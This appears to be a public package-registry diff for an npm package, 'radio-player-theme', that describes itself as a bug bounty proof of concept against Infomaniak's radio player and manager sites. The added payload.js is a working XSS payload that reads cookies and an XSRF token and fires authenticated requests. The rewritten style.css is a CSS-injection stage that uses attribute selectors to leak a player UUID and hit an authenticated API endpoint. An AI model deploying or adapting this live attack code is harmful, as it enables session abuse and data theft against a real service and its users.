radio-player-theme 2.0.0 → 4.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +3 -3
- package/payload.js +35 -0
- package/style.css +27 -4
package/package.json
CHANGED
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "radio-player-theme",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "YWH bug bounty CSS injection live-C2 proof — stage
|
|
3
|
+
"version": "4.0.0",
|
|
4
|
+
"description": "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation",
|
|
5
5
|
"main": "style.css",
|
|
6
|
-
"files": ["style.css"],
|
|
6
|
+
"files": ["style.css", "payload.js"],
|
|
7
7
|
"license": "MIT"
|
|
8
8
|
}
|
package/payload.js
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
/* radio-player-theme - payload.js
|
|
2
|
+
YWH Bug Bounty PoC: CSS injection → SVG script injection → XSS on player-radio.infomaniak.com
|
|
3
|
+
This file is served from cdn.jsdelivr.net which is allowlisted in script-src CSP
|
|
4
|
+
*/
|
|
5
|
+
(function() {
|
|
6
|
+
'use strict';
|
|
7
|
+
var origin = (typeof location !== 'undefined') ? location.origin : 'unknown';
|
|
8
|
+
var cookies = (typeof document !== 'undefined') ? document.cookie : '';
|
|
9
|
+
|
|
10
|
+
// Extract MANAGER-XSRF-TOKEN (not HttpOnly, scoped to *.infomaniak.com)
|
|
11
|
+
var xsrfMatch = cookies.match(/MANAGER-XSRF-TOKEN=([^;]+)/);
|
|
12
|
+
var xsrfToken = xsrfMatch ? decodeURIComponent(xsrfMatch[1]) : 'NOT-FOUND';
|
|
13
|
+
|
|
14
|
+
// Store proof on window for verification
|
|
15
|
+
window.__radioXssProof = {
|
|
16
|
+
vector: 'SVG-script-injection-via-react-svg-injector',
|
|
17
|
+
origin: origin,
|
|
18
|
+
xsrfTokenPresent: xsrfMatch ? true : false,
|
|
19
|
+
xsrfTokenPreview: xsrfToken.substring(0, 40) + '...',
|
|
20
|
+
cookieCount: cookies.split(';').length,
|
|
21
|
+
timestamp: Date.now()
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
// Signal: make authenticated GET to manager API with cookies (no-cors)
|
|
25
|
+
// This proves the XSS can fire authenticated requests cross-site (same eTLD+1)
|
|
26
|
+
var beacon = new Image();
|
|
27
|
+
beacon.src = 'https://manager.infomaniak.com/v3/api/proxypass_2/XSS-VIA-SVG-SCRIPT-INJECTION-CONFIRMED';
|
|
28
|
+
|
|
29
|
+
// Visual proof - inject banner
|
|
30
|
+
var banner = document.createElement('div');
|
|
31
|
+
banner.id = 'ywh-xss-proof';
|
|
32
|
+
banner.style.cssText = 'position:fixed;top:0;left:0;width:100%;background:#8B0000;color:#fff;font-weight:bold;font-size:15px;text-align:center;padding:10px;z-index:2147483647;box-shadow:0 3px 10px rgba(0,0,0,0.5)';
|
|
33
|
+
banner.textContent = 'XSS CONFIRMED via SVG-script + cdn.jsdelivr.net | Origin: ' + origin + ' | XSRF: ' + (xsrfMatch ? 'READABLE' : 'NOT-FOUND');
|
|
34
|
+
document.body ? document.body.appendChild(banner) : document.addEventListener('DOMContentLoaded', function() { document.body.appendChild(banner); });
|
|
35
|
+
})();
|
package/style.css
CHANGED
|
@@ -1,10 +1,33 @@
|
|
|
1
|
-
/*
|
|
1
|
+
/* radio-player-theme@3.0.0 — CSS C2 EXFIL PROOF */
|
|
2
|
+
/*
|
|
3
|
+
Targets admin loading player config preview in manager.infomaniak.com
|
|
4
|
+
All background-image requests go to manager.infomaniak.com with
|
|
5
|
+
SameSite=Lax SASESSION cookie attached (same eTLD+1 = infomaniak.com)
|
|
6
|
+
Exfils: player UUID, share URL presence, authenticated API access
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
/* 1. Confirm CSS fires + share input value contains player UUID */
|
|
10
|
+
input#share-input {
|
|
11
|
+
background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-c2-exfil/share-input/FOUND') !important;
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
/* 2. Exfil confirmed: UUID 6ce06ce3 present in input value → radio pack 18409 identified */
|
|
15
|
+
input#share-input[value*="6ce06ce3-62f6-4d33-8f5a-f4d9f8637004"] {
|
|
16
|
+
background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-c2-exfil/uuid/6ce06ce3-62f6-4d33-CONFIRMED') !important;
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
/* 3. Authenticated read of player config API using victim's SASESSION */
|
|
20
|
+
body {
|
|
21
|
+
background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/1/radios/18409/players/5816') !important;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
/* 4. Visual C2 banner to confirm v3 is live */
|
|
2
25
|
body::after {
|
|
3
|
-
content: "C2-
|
|
26
|
+
content: "C2-V3-EXFIL-ACTIVE-MANAGER-API-HIT" !important;
|
|
4
27
|
display: block !important;
|
|
5
|
-
background: #
|
|
28
|
+
background: #cc0000 !important;
|
|
6
29
|
color: white !important;
|
|
7
|
-
font-size:
|
|
30
|
+
font-size: 16px !important;
|
|
8
31
|
font-weight: bold !important;
|
|
9
32
|
text-align: center !important;
|
|
10
33
|
padding: 8px !important;
|